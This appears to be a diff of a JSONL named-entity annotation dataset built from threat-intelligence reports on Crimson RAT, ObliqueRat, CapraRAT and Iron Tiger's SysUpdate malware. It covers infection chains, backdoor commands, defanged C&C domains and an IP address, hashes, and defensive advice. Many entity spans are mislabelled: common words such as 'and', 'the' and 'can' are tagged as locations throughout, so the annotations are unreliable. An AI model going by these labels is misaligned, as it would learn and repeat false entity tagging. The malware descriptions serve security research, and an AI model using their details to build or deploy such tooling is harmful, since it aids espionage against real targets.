 {"id":6938,"text":"      Figure 3. An example of a coronavirus-related spear-phishing email attachment     Once the victim downloads the malicious macro, it will decrypt an embedded executable dropper that is hidden inside a text box, which will then be saved to a hardcoded path prior to it executing in the machine.      Figure 4. Malicious macro that decrypts an executable hidden inside a text box      Figure 5. Examples of encrypted Crimson RAT executables hidden inside text boxes     Once the executable file is executed, it will proceed to unzip a file named mdkhm.zip and then execute a Crimson RAT executable named dlrarhsiva.exe.","entities":[{"id":21716,"label":"location","start_offset":52,"end_offset":57},{"id":21717,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":21718,"label":"location","start_offset":138,"end_offset":142},{"id":21719,"label":"location","start_offset":222,"end_offset":226},{"id":21722,"label":"malware","start_offset":420,"end_offset":431},{"id":21723,"label":"location","start_offset":514,"end_offset":518},{"id":21724,"label":"location","start_offset":559,"end_offset":562},{"id":21725,"label":"malware","start_offset":578,"end_offset":589}],"relations":[],"Comments":[]}
 {"id":6939,"text":"     Figure 6.","entities":[],"relations":[],"Comments":[]}
 {"id":6940,"text":"The dlrarhsiva.exe Crimson RAT executable     ","entities":[{"id":21727,"label":"malware","start_offset":19,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":6941,"text":"Earth Karkaddan actors are known to use the Crimson RAT malware in its campaigns to communicate with its command-and-control (C&C) server to download other malware or exfiltrate data.","entities":[{"id":21728,"label":"location","start_offset":0,"end_offset":5},{"id":21729,"label":"location","start_offset":23,"end_offset":26},{"id":21730,"label":"malware","start_offset":44,"end_offset":55},{"id":21731,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":6942,"text":"Our analysis shows that the Crimson RAT malware is compiled as a .NET binary with minimal obfuscation.","entities":[{"id":21732,"label":"malware","start_offset":28,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":6943,"text":"This could indicate that the cybercriminal group behind this campaign is possibly not well-funded.","entities":[{"id":21733,"label":"location","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":6944,"text":"     Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":6945,"text":"A list of minimally obfuscated commands, function names, and variables from a Crimson RAT malware sample     Crimson RAT can steal credentials from browsers, collect antivirus information, capture screenshots, and list victim drives, processes, and directories.","entities":[{"id":21735,"label":"location","start_offset":2,"end_offset":6},{"id":21736,"label":"location","start_offset":57,"end_offset":60},{"id":21737,"label":"malware","start_offset":78,"end_offset":89},{"id":21738,"label":"location","start_offset":98,"end_offset":104},{"id":21739,"label":"malware","start_offset":109,"end_offset":120},{"id":21740,"label":"location","start_offset":121,"end_offset":124},{"id":21741,"label":"location","start_offset":210,"end_offset":213},{"id":21742,"label":"location","start_offset":214,"end_offset":218},{"id":21743,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
-{"id":6946,"text":"We have observed how an infected host communicates with a Crimson RAT C&C server to send exfiltrated information including PC name, operating system (OS) information, and the location of the Crimson RAT malware inside the system.","entities":[{"id":21744,"label":"location","start_offset":33,"end_offset":37},{"id":21746,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
 {"id":6947,"text":"     Figure 8.","entities":[],"relations":[],"Comments":[]}
 {"id":6948,"text":"Network traffic from a Crimson RAT malware sample     ObliqueRat Malware Analysis   ","entities":[{"id":21749,"label":"malware","start_offset":23,"end_offset":34},{"id":21750,"label":"location","start_offset":43,"end_offset":49},{"id":21751,"label":"malware","start_offset":54,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":6949,"text":"Aside from the Crimson RAT malware, the Earth Karkaddan APT group is also known to use the ObliqueRat malware in its campaigns.","entities":[{"id":21753,"label":"location","start_offset":40,"end_offset":45},{"id":21754,"label":"location","start_offset":56,"end_offset":59},{"id":21755,"label":"malware","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":6950,"text":"This malware is also commonly distributed in spear-phishing campaigns using social engineering tactics to lure victims into downloading another malicious document.","entities":[{"id":21756,"label":"location","start_offset":45,"end_offset":50},{"id":21757,"label":"attack-pattern","start_offset":51,"end_offset":59},{"id":21758,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":6951,"text":"In one of its most recent campaigns, the lure used was that of the Centre for Land Warfare Studies (CLAWS) in New Delhi, India.","entities":[{"id":21760,"label":"location","start_offset":14,"end_offset":18},{"id":21761,"label":"location","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":6952,"text":"     Figure 9.","entities":[],"relations":[],"Comments":[]}
 {"id":6953,"text":"Initial spear-phishing document with a link to another malicious document     Once the victim clicks the link, it will download a document laced with a malicious macro.","entities":[{"id":21767,"label":"location","start_offset":8,"end_offset":13},{"id":21768,"label":"attack-pattern","start_offset":14,"end_offset":22},{"id":21769,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":6954,"text":"Upon enabling the macro, it will then download the ObliqueRat malware that is hidden inside an image file.","entities":[{"id":21770,"label":"location","start_offset":28,"end_offset":32},{"id":21771,"label":"tools","start_offset":51,"end_offset":61}],"relations":[],"Comments":[]}
@@ -6958,13 +6105,8 @@
 {"id":6958,"text":"Malicious macro codes will download, decode, and execute the ObliqueRat malware     Figure 12 shows a summary of the ObliqueRat malware’s infection chain:      Figure 12.","entities":[{"id":21782,"label":"location","start_offset":22,"end_offset":26},{"id":21783,"label":"location","start_offset":45,"end_offset":48},{"id":21784,"label":"malware","start_offset":61,"end_offset":71},{"id":21786,"label":"tools","start_offset":117,"end_offset":127}],"relations":[],"Comments":[]}
 {"id":6959,"text":"ObliqueRat attack chain     ","entities":[{"id":21788,"label":"malware","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":6960,"text":"Below is a list of backdoor commands that this particular ObliqueRAT malware variant can perform:  Command (v5.2)  Info  0  System information  ","entities":[{"id":21789,"label":"location","start_offset":11,"end_offset":15},{"id":21790,"label":"malware","start_offset":58,"end_offset":68},{"id":21791,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":6961,"text":"1  List drive and drive type  ","entities":[{"id":21792,"label":"location","start_offset":3,"end_offset":7},{"id":21793,"label":"location","start_offset":14,"end_offset":17},{"id":21794,"label":"location","start_offset":24,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":6962,"text":"3  Find certain files and file sizes  4  Send back zip files (specified filename)  4A\/4E  Send back zip files  5  Find certain files and file sizes  ","entities":[{"id":21795,"label":"location","start_offset":22,"end_offset":25},{"id":21796,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":6963,"text":"Zip certain folder, send back to C&C, then delete it  7  Execute commands  8  Receive file from C&C  BACKED  Back up the file lgb  RNM  Rename file  TSK  List running processes  EXIT  Stop execution  RESTART  Restart connection to C&C  ","entities":[{"id":21797,"label":"location","start_offset":154,"end_offset":158},{"id":21798,"label":"location","start_offset":184,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":6964,"text":"KILL  Kill certain processes  AUTO  ","entities":[{"id":21799,"label":"location","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":6965,"text":"Find certain files  RHT  Delete files   ","entities":[],"relations":[],"Comments":[]}
 {"id":6966,"text":"Note that in this specific campaign, both the Crimson RAT malware downloader document and the ObliqueRat malware downloader share the same download domain, which is sharingmymedia[.]com.","entities":[{"id":21800,"label":"location","start_offset":27,"end_offset":35},{"id":21801,"label":"malware","start_offset":46,"end_offset":57},{"id":21802,"label":"location","start_offset":86,"end_offset":89},{"id":21803,"label":"tools","start_offset":94,"end_offset":104},{"id":21804,"label":"location","start_offset":134,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":6967,"text":"This indicates that both malware types were actively used in Earth Karkaddan APT campaigns.","entities":[{"id":21806,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":6968,"text":"     Figure 13.","entities":[],"relations":[],"Comments":[]}
 {"id":6969,"text":"Crimson RAT and ObliqueRat spear-phishing email attachments that feature the same download domain     CapraRAT, One of Earth Karkaddan’s custom Android RAT","entities":[{"id":21808,"label":"malware","start_offset":0,"end_offset":11},{"id":21809,"label":"location","start_offset":12,"end_offset":15},{"id":21810,"label":"malware","start_offset":16,"end_offset":26},{"id":21811,"label":"location","start_offset":27,"end_offset":32},{"id":21812,"label":"attack-pattern","start_offset":33,"end_offset":41},{"id":21813,"label":"location","start_offset":77,"end_offset":81},{"id":21814,"label":"malware","start_offset":102,"end_offset":110},{"id":21815,"label":"location","start_offset":112,"end_offset":115},{"id":21816,"label":"location","start_offset":119,"end_offset":124},{"id":21817,"label":"malware","start_offset":144,"end_offset":155}],"relations":[],"Comments":[]}
 {"id":6970,"text":"Aside from using spear-phishing emails and a USB worm as arrival vectors, Earth Karkaddan also uses Android RATs that could be deployed by means of malicious phishing links.","entities":[{"id":21818,"label":"location","start_offset":17,"end_offset":22},{"id":21819,"label":"attack-pattern","start_offset":23,"end_offset":31},{"id":21820,"label":"location","start_offset":39,"end_offset":42},{"id":21821,"label":"location","start_offset":74,"end_offset":79},{"id":21822,"label":"location","start_offset":139,"end_offset":144},{"id":21823,"label":"attack-pattern","start_offset":158,"end_offset":166}],"relations":[],"Comments":[]}
@@ -6974,17 +6116,9 @@
 {"id":6974,"text":"While analyzing this android RAT, we saw several similar capabilities to the CrimsonRat malware that the group usually uses to infect Windows systems.","entities":[{"id":21846,"label":"malware","start_offset":21,"end_offset":32}],"relations":[],"Comments":[]}
 {"id":6975,"text":"We have been observing CapraRAT samples since 2017,  and one of the first samples we analyzed (SHA-256: d9979a41027fe790399edebe5ef8765f61e1eb1a4ee1d11690b4c2a0aa38ae42, detected by Trend Micro as as AndroidOS_Androrat.HRXD)","entities":[{"id":21848,"label":"malware","start_offset":23,"end_offset":31},{"id":21850,"label":"location","start_offset":53,"end_offset":56},{"id":21853,"label":"SHA2","start_offset":104,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":6976,"text":"revealed some interesting things in that year: they used \"com.example.appcode.appcode\" as the APK package name and used a possible public certificate “74bd7b456d9e651fc84446f65041bef1207c408d,” which possibly meant the sample was used for testing, and they just started to use it for their campaigns during that year.","entities":[{"id":21856,"label":"location","start_offset":111,"end_offset":114},{"id":21857,"label":"location","start_offset":131,"end_offset":137},{"id":21858,"label":"MD5","start_offset":151,"end_offset":191},{"id":21859,"label":"location","start_offset":219,"end_offset":225},{"id":21860,"label":"location","start_offset":248,"end_offset":251},{"id":21861,"label":"identity","start_offset":257,"end_offset":261}],"relations":[],"Comments":[]}
-{"id":6977,"text":"The C&C domain android[.]viral91[.]xyz, where the malware was connecting to also shows that it is very likely that the APT team uses subdomains to host or connect to Android malware.","entities":[{"id":21863,"label":"location","start_offset":103,"end_offset":109},{"id":21864,"label":"location","start_offset":119,"end_offset":122},{"id":21865,"label":"location","start_offset":147,"end_offset":151}],"relations":[],"Comments":[]}
 {"id":6978,"text":"In previous years, some CrimsonRAT samples were also found to be hosted on the viral91[.]xyz domain.","entities":[],"relations":[],"Comments":[]}
 {"id":6979,"text":"     Figure 14. CrimsonRAT malware hosted in viral91[.]xyz     We were also able to source a phishing document, “csd_car_price_list_2017,” that is related to this domain and has been seen in the wild in 2017.","entities":[{"id":21868,"label":"attack-pattern","start_offset":84,"end_offset":90},{"id":21869,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21870,"label":"location","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":6980,"text":"This file name is interesting as “csd” is likely to be associated to \"Canteen Stores Department\" in Pakistan, which is operated by the Pakistani Ministry of Defence.","entities":[{"id":21872,"label":"location","start_offset":42,"end_offset":48},{"id":21874,"label":"location","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":6981,"text":"This is a possible lure for the Indian targets to open the malicious attachment, also used in a similar attack in 2021.","entities":[{"id":21875,"label":"location","start_offset":19,"end_offset":23},{"id":21877,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":6982,"text":"Upon downloading this malicious app that possibly arrived via a malicious link, the user will need to grant permissions upon installation to allow the RAT access to stored information.","entities":[{"id":21878,"label":"location","start_offset":89,"end_offset":93},{"id":21879,"label":"location","start_offset":102,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":6983,"text":"The malware can do the following on a compromised device:  Access the phone number Launch other apps’ installation packages Open the camera","entities":[{"id":21880,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":6984,"text":"Access the microphone and record audio clips","entities":[{"id":21881,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
 {"id":6985,"text":"Access the unique identification number Access location information","entities":[],"relations":[],"Comments":[]}
-{"id":6986,"text":"Access phone call history","entities":[{"id":21882,"label":"location","start_offset":13,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":6987,"text":"Access contact information","entities":[{"id":21883,"label":"location","start_offset":7,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":6988,"text":" Once the Android RAT is executed, it will attempt to establish a connection to its C&C server, 209[.]127[.]19[.]241[:]10284.","entities":[{"id":21884,"label":"malware","start_offset":10,"end_offset":21},{"id":21885,"label":"location","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":6989,"text":"We have observed that the Remote Desktop Protocol (RDP) certificate associated in this deployment, “WIN-P9NRMH5G6M8,” is a common string found in previously identified Earth Karkaddan C&C servers.","entities":[{"id":21886,"label":"attack-pattern","start_offset":26,"end_offset":49},{"id":21887,"label":"malware","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":6990,"text":"     Figure 15. Decompiled code from CapraRAT connecting to its C&C server      Figure 16. CapraRAT config showing its C&C server and port information       Figure 17.","entities":[{"id":21892,"label":"malware","start_offset":91,"end_offset":99},{"id":21893,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
@@ -6993,148 +6127,73 @@
 {"id":6993,"text":"It checks whether the service is still running every minute, and if it is not, the service will be launched again.","entities":[{"id":21898,"label":"TIME","start_offset":47,"end_offset":59},{"id":21899,"label":"location","start_offset":61,"end_offset":64},{"id":21900,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":6994,"text":"     Figure 19.","entities":[],"relations":[],"Comments":[]}
 {"id":6995,"text":"CapraRAT’s persistence mechanism     Reducing risks:","entities":[{"id":21902,"label":"malware","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":6996,"text":"How to defend against APT attacks Earth Karkaddan has been stealing information since 2016 by means of creative social engineering lures and file-stealing malware.","entities":[{"id":21903,"label":"location","start_offset":22,"end_offset":25},{"id":21906,"label":"location","start_offset":94,"end_offset":99},{"id":21907,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":6997,"text":"Users can adopt the following security best practices to thwart Earth Karkaddan attacks:  ","entities":[{"id":21908,"label":"location","start_offset":6,"end_offset":9},{"id":21909,"label":"location","start_offset":30,"end_offset":38},{"id":21910,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":6998,"text":"Be careful of opening unsolicited and unexpected emails, especially those that call for urgency Watch out for malicious email red flags, which include atypical sender domains and grammatical and spelling lapses","entities":[{"id":21912,"label":"location","start_offset":34,"end_offset":37},{"id":21913,"label":"location","start_offset":79,"end_offset":83},{"id":21914,"label":"location","start_offset":175,"end_offset":178},{"id":21915,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]}
-{"id":6999,"text":"Avoid clicking on links or downloading attachments in emails, especially from unknown sources Block threats that arrive via email such as malicious links using hosted email security and antispam protection","entities":[{"id":21916,"label":"location","start_offset":173,"end_offset":181},{"id":21917,"label":"location","start_offset":182,"end_offset":185},{"id":21918,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]}
-{"id":7000,"text":"Download apps only from trusted sources","entities":[{"id":21919,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":7001,"text":"Be wary of the scope of app permissions","entities":[],"relations":[],"Comments":[]}
-{"id":7002,"text":"Get multilayered mobile security solutions that can protect devices against online threats, malicious applications, and even data loss  ","entities":[{"id":21920,"label":"location","start_offset":17,"end_offset":23},{"id":21921,"label":"location","start_offset":24,"end_offset":32},{"id":21922,"label":"location","start_offset":48,"end_offset":51},{"id":21923,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":7003,"text":"The following security solutions can also protect users from email-based attacks:  Trend Micro™ Cloud App Security – Enhances the security of Microsoft Office 365 and other cloud services via computer vision and real-time scanning.","entities":[{"id":21924,"label":"location","start_offset":14,"end_offset":22},{"id":21925,"label":"location","start_offset":33,"end_offset":36},{"id":21926,"label":"location","start_offset":89,"end_offset":94},{"id":21927,"label":"location","start_offset":96,"end_offset":101},{"id":21928,"label":"location","start_offset":106,"end_offset":114},{"id":21929,"label":"location","start_offset":130,"end_offset":138},{"id":21932,"label":"location","start_offset":163,"end_offset":166},{"id":21933,"label":"location","start_offset":173,"end_offset":178},{"id":21934,"label":"location","start_offset":208,"end_offset":211},{"id":21935,"label":"location","start_offset":212,"end_offset":216},{"id":21936,"label":"location","start_offset":217,"end_offset":221}],"relations":[],"Comments":[]}
 {"id":7004,"text":"It also protects organizations from email-based threats.","entities":[],"relations":[],"Comments":[]}
-{"id":7005,"text":"Trend Micro™ Deep Discovery™ Email Inspector – Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks.","entities":[{"id":21937,"label":"location","start_offset":6,"end_offset":11},{"id":21938,"label":"location","start_offset":86,"end_offset":90},{"id":21939,"label":"location","start_offset":91,"end_offset":95},{"id":21940,"label":"location","start_offset":105,"end_offset":108},{"id":21941,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":7006,"text":"Trend Micro™ Mobile Security for Enterprise suite – Provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps and detects and blocks malware and fraudulent websites.","entities":[{"id":21942,"label":"location","start_offset":6,"end_offset":11},{"id":21943,"label":"location","start_offset":13,"end_offset":19},{"id":21944,"label":"location","start_offset":20,"end_offset":28},{"id":21945,"label":"location","start_offset":33,"end_offset":43},{"id":21946,"label":"location","start_offset":80,"end_offset":83},{"id":21947,"label":"location","start_offset":113,"end_offset":123},{"id":21948,"label":"location","start_offset":125,"end_offset":128},{"id":21949,"label":"location","start_offset":265,"end_offset":268},{"id":21950,"label":"location","start_offset":277,"end_offset":280},{"id":21951,"label":"location","start_offset":296,"end_offset":299}],"relations":[],"Comments":[]}
-{"id":7007,"text":"Trend Micro’s Mobile App Reputation Service (MARS) – Covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.","entities":[{"id":21953,"label":"location","start_offset":14,"end_offset":20},{"id":21954,"label":"location","start_offset":45,"end_offset":49},{"id":21955,"label":"location","start_offset":68,"end_offset":71},{"id":21956,"label":"location","start_offset":106,"end_offset":109},{"id":21958,"label":"location","start_offset":183,"end_offset":186},{"id":21959,"label":"location","start_offset":218,"end_offset":221}],"relations":[],"Comments":[]}
 {"id":7008,"text":"Indicators of Compromise","entities":[],"relations":[],"Comments":[]}
-{"id":7009,"text":"A list of indicators can be found in this text file.","entities":[{"id":21960,"label":"location","start_offset":2,"end_offset":6},{"id":21961,"label":"location","start_offset":21,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":7010,"text":"      Tags  APT & Targeted Attacks | Articles, News, Reports","entities":[{"id":21962,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
 {"id":7011,"text":"Update as of April 27, 2021, 7 A.M. E.T.:","entities":[{"id":21964,"label":"TIME","start_offset":29,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":7012,"text":"We've updated the \"Rootkits From a Public Repository\" section and the appendix to include a second sample.","entities":[{"id":21966,"label":"location","start_offset":54,"end_offset":61},{"id":21967,"label":"location","start_offset":62,"end_offset":65},{"id":21969,"label":"location","start_offset":99,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":7013,"text":"More than a year after Operation DRBControl, a campaign by a cyberespionage group that targets gambling and betting companies in Southeast Asia, we found evidence that the Iron Tiger threat actor is still interested in the gambling industry.","entities":[{"id":21972,"label":"location","start_offset":47,"end_offset":55},{"id":21973,"label":"location","start_offset":104,"end_offset":107},{"id":21976,"label":"location","start_offset":232,"end_offset":240}],"relations":[],"Comments":[]}
 {"id":7014,"text":"This blog details how Iron Tiger threat actors have updated their toolkit with an updated SysUpdate malware variant that now uses five files in its infection routine instead of the usual three.","entities":[],"relations":[],"Comments":[]}
-{"id":7015,"text":"We also provide details on Iron Tiger’s possible connections to other threat actors based on similar tactics, techniques, and procedures (TTPs) we’ve observed.","entities":[{"id":21982,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":7016,"text":" Finally, we describe some of the rootkits that Iron Tiger is using, one of which is used to hide files at the kernel level, and has not been previously reported as being used by this threat actor.","entities":[{"id":21985,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":7017,"text":"A Look at the Iron Tiger Threat Group","entities":[{"id":21986,"label":"threat-actor","start_offset":14,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":7018,"text":"In 2019, Talent-Jump, Inc., a security service and system integration company, discovered several malware variants in a gambling company during an incident response operation and sought our help for further investigation and analysis.","entities":[{"id":21989,"label":"location","start_offset":30,"end_offset":38},{"id":21990,"label":"location","start_offset":47,"end_offset":50},{"id":21991,"label":"location","start_offset":175,"end_offset":178},{"id":21992,"label":"location","start_offset":221,"end_offset":224}],"relations":[],"Comments":[]}
-{"id":7019,"text":"In 2020 and 2021, Talent-Jump found new samples for malware families that are attributed to the Iron Tiger threat actor, which is also referred to as LuckyMouse, EmissaryPanda, and APT27.","entities":[{"id":21994,"label":"location","start_offset":8,"end_offset":11},{"id":21997,"label":"location","start_offset":74,"end_offset":77},{"id":22000,"label":"location","start_offset":177,"end_offset":180},{"id":22001,"label":"APT","start_offset":181,"end_offset":186}],"relations":[],"Comments":[]}
+{"id":7019,"text":"In 2020 and 2021, Talent-Jump found new samples for malware families that are attributed to the Iron Tiger threat actor, which is also referred to as LuckyMouse, EmissaryPanda, and APT27.","entities":[{"id":21994,"label":"location","start_offset":8,"end_offset":11},{"id":21997,"label":"location","start_offset":74,"end_offset":77},{"id":22000,"label":"location","start_offset":177,"end_offset":180},{"id":22001,"label":"threat-actor","start_offset":181,"end_offset":186}],"relations":[],"Comments":[]}
 {"id":7020,"text":"While investigating Operation DRBControl in 2019, we found several connections to multiple threat actors:  Iron Tiger, which uses the HyperBro trojan and some infrastructure links Winnti, which uses the same infrastructure and code-sharing links detailed in our paper Bronze President, a threat actor that targets non-governmental organizations (NGOs).  ","entities":[{"id":22004,"label":"threat-actor","start_offset":107,"end_offset":117},{"id":22005,"label":"malware","start_offset":134,"end_offset":142},{"id":22006,"label":"location","start_offset":150,"end_offset":153},{"id":22007,"label":"malware","start_offset":180,"end_offset":186},{"id":22008,"label":"location","start_offset":203,"end_offset":207},{"id":22009,"label":"location","start_offset":223,"end_offset":226}],"relations":[],"Comments":[]}
-{"id":7021,"text":"Back in 2019, we named a malware family, which we believed was new, as “Type 2.”  ","entities":[{"id":22012,"label":"location","start_offset":72,"end_offset":76}],"relations":[],"Comments":[]}
 {"id":7022,"text":"However, after the publication of our report, we learned that the Type 2 malware family described in our report was the same as the “RCSession” malware family that Dell Secureworks described in a blog that they published in December 2019.","entities":[{"id":22013,"label":"location","start_offset":49,"end_offset":56},{"id":22014,"label":"location","start_offset":66,"end_offset":70},{"id":22015,"label":"location","start_offset":120,"end_offset":124},{"id":22016,"label":"tools","start_offset":133,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":7023,"text":"After finding multiple tools belonging to the Iron Tiger threat actor (which we now track as Earth Smilodon), it is likely that the new malware families that we found during the Operation DRBControl investigation came from the same threat actor.","entities":[{"id":22019,"label":"threat-actor","start_offset":46,"end_offset":56},{"id":22020,"label":"threat-actor","start_offset":93,"end_offset":107},{"id":22021,"label":"location","start_offset":116,"end_offset":122},{"id":22023,"label":"location","start_offset":227,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":7024,"text":"New Version of SysUpdate Malware      Figure 1.","entities":[{"id":22024,"label":"malware","start_offset":15,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":7025,"text":"The old and new SysUpdate infection chains      In December 2020, we found a sample that we identified as one belonging to the SysUpdate malware family, also named Soldier, FOCUSFJORD, and HyperSSL.","entities":[{"id":22026,"label":"location","start_offset":8,"end_offset":11},{"id":22027,"label":"malware","start_offset":16,"end_offset":25},{"id":22029,"label":"location","start_offset":77,"end_offset":83},{"id":22030,"label":"location","start_offset":106,"end_offset":109},{"id":22031,"label":"malware","start_offset":127,"end_offset":136},{"id":22033,"label":"malware","start_offset":173,"end_offset":183},{"id":22034,"label":"location","start_offset":185,"end_offset":188},{"id":22035,"label":"malware","start_offset":189,"end_offset":197}],"relations":[],"Comments":[]}
 {"id":7026,"text":"SysUpdate was first described by the NCC Group in 2018.","entities":[{"id":22036,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":7027,"text":"In the past, SysUpdate was loaded in memory by a known method involving three files:  One legitimate executable, sometimes signed, and vulnerable to dynamic-link library (DLL) sideloading One malicious DLL loaded by the legitimate file One binary file usually containing obfuscated code, unpacked in memory by the malicious DLL  ","entities":[{"id":22042,"label":"location","start_offset":131,"end_offset":134},{"id":22043,"label":"location","start_offset":162,"end_offset":169}],"relations":[],"Comments":[]}
 {"id":7028,"text":"An additional executable that serves as a launcher is loaded in memory, which then loads the final SysUpdate payload.","entities":[{"id":22046,"label":"malware","start_offset":99,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":7029,"text":"Based on our investigation, instead of the usual three files, the threat actor used five:  dlpumgr32.exe, a legitimate signed file that belongs to the DESlock+ product DLPPREM32.DLL, a malicious DLL sideloaded by dlpumgr32.exe that loads and decodes DLPPREM32.bin DLPPREM32.bin, a shellcode that decompresses and loads a launcher in memory data.res, an encrypted file decoded by the launcher and contains two SysUpdate versions: one for a 32-bit architecture and another for a 64-bit architecture config.res, an encrypted file decoded by the launcher and contains the SysUpdate configuration, such as the command-and-control (C&C) address  ","entities":[{"id":22049,"label":"location","start_offset":238,"end_offset":241},{"id":22050,"label":"location","start_offset":309,"end_offset":312},{"id":22051,"label":"location","start_offset":392,"end_offset":395},{"id":22052,"label":"malware","start_offset":409,"end_offset":418},{"id":22053,"label":"location","start_offset":429,"end_offset":432},{"id":22055,"label":"location","start_offset":459,"end_offset":462},{"id":22057,"label":"location","start_offset":551,"end_offset":554},{"id":22058,"label":"malware","start_offset":568,"end_offset":577},{"id":22059,"label":"location","start_offset":613,"end_offset":616}],"relations":[],"Comments":[]}
-{"id":7030,"text":"Analysis of the Updated Tool: The Launcher","entities":[{"id":22060,"label":"location","start_offset":24,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":7031,"text":"In summary, the launcher acts as an installer — it will copy the malware to a fixed place and ensure that it runs during the next boot of the infected host.","entities":[{"id":22061,"label":"location","start_offset":51,"end_offset":55},{"id":22062,"label":"location","start_offset":90,"end_offset":93},{"id":22063,"label":"location","start_offset":151,"end_offset":155}],"relations":[],"Comments":[]}
 {"id":7032,"text":"In detail, this process involves multiple steps.","entities":[],"relations":[],"Comments":[]}
-{"id":7033,"text":"The launcher starts by instantiating the CLoadInfo object, which has the following structure:  Offset  Description  Hardcoded values in our sample  0  VTable of CLoadInfo class     ","entities":[{"id":22064,"label":"location","start_offset":83,"end_offset":92},{"id":22065,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]}
 {"id":7034,"text":"4  Directory to copy all files  %PROGRAMDATA%\\Test\\  8  Name of the legitimate executable  dlpumgr32.exe  12  Name of the sideloaded DLL  DLPPREM32.DLL  ","entities":[],"relations":[],"Comments":[]}
 {"id":7035,"text":"16  Name of the shellcode  DLPPREM32.bin  20  Name of the encrypted payload  data.res  24  MD5 of the encrypted payload  e43e40416520dab5b4c44ac8af907078  28  Name of the encrypted configuration  config.res  32  Name of the registry key value  servTest  36  Name of the service DisplayName  Servdisplay   Table 1.","entities":[{"id":22066,"label":"MD5","start_offset":121,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":7036,"text":"CLoadInfo object structure","entities":[{"id":22068,"label":"location","start_offset":17,"end_offset":26}],"relations":[],"Comments":[]}
 {"id":7037,"text":"The launcher’s behavior changes depending on the number of arguments passed to the executable.","entities":[],"relations":[],"Comments":[]}
-{"id":7038,"text":"It’s important to highlight that the change of behavior only depends on the number of arguments, and not the content:  No argument.","entities":[{"id":22069,"label":"location","start_offset":56,"end_offset":60},{"id":22070,"label":"location","start_offset":97,"end_offset":100},{"id":22071,"label":"location","start_offset":109,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":7039,"text":"If there is no argument, a hardcoded directory will be created wherein all the files will be copied.","entities":[{"id":22072,"label":"location","start_offset":47,"end_offset":51},{"id":22073,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":7040,"text":"The CreationTime, LastWriteTime, and LastAccessTime will be updated according to the C:\\Windows\\system32\\kernel32.dll file and their file attributes will be set to “hidden” and “system”.","entities":[{"id":22074,"label":"location","start_offset":33,"end_offset":36},{"id":22075,"label":"location","start_offset":52,"end_offset":56},{"id":22076,"label":"location","start_offset":123,"end_offset":126},{"id":22077,"label":"location","start_offset":149,"end_offset":153},{"id":22078,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
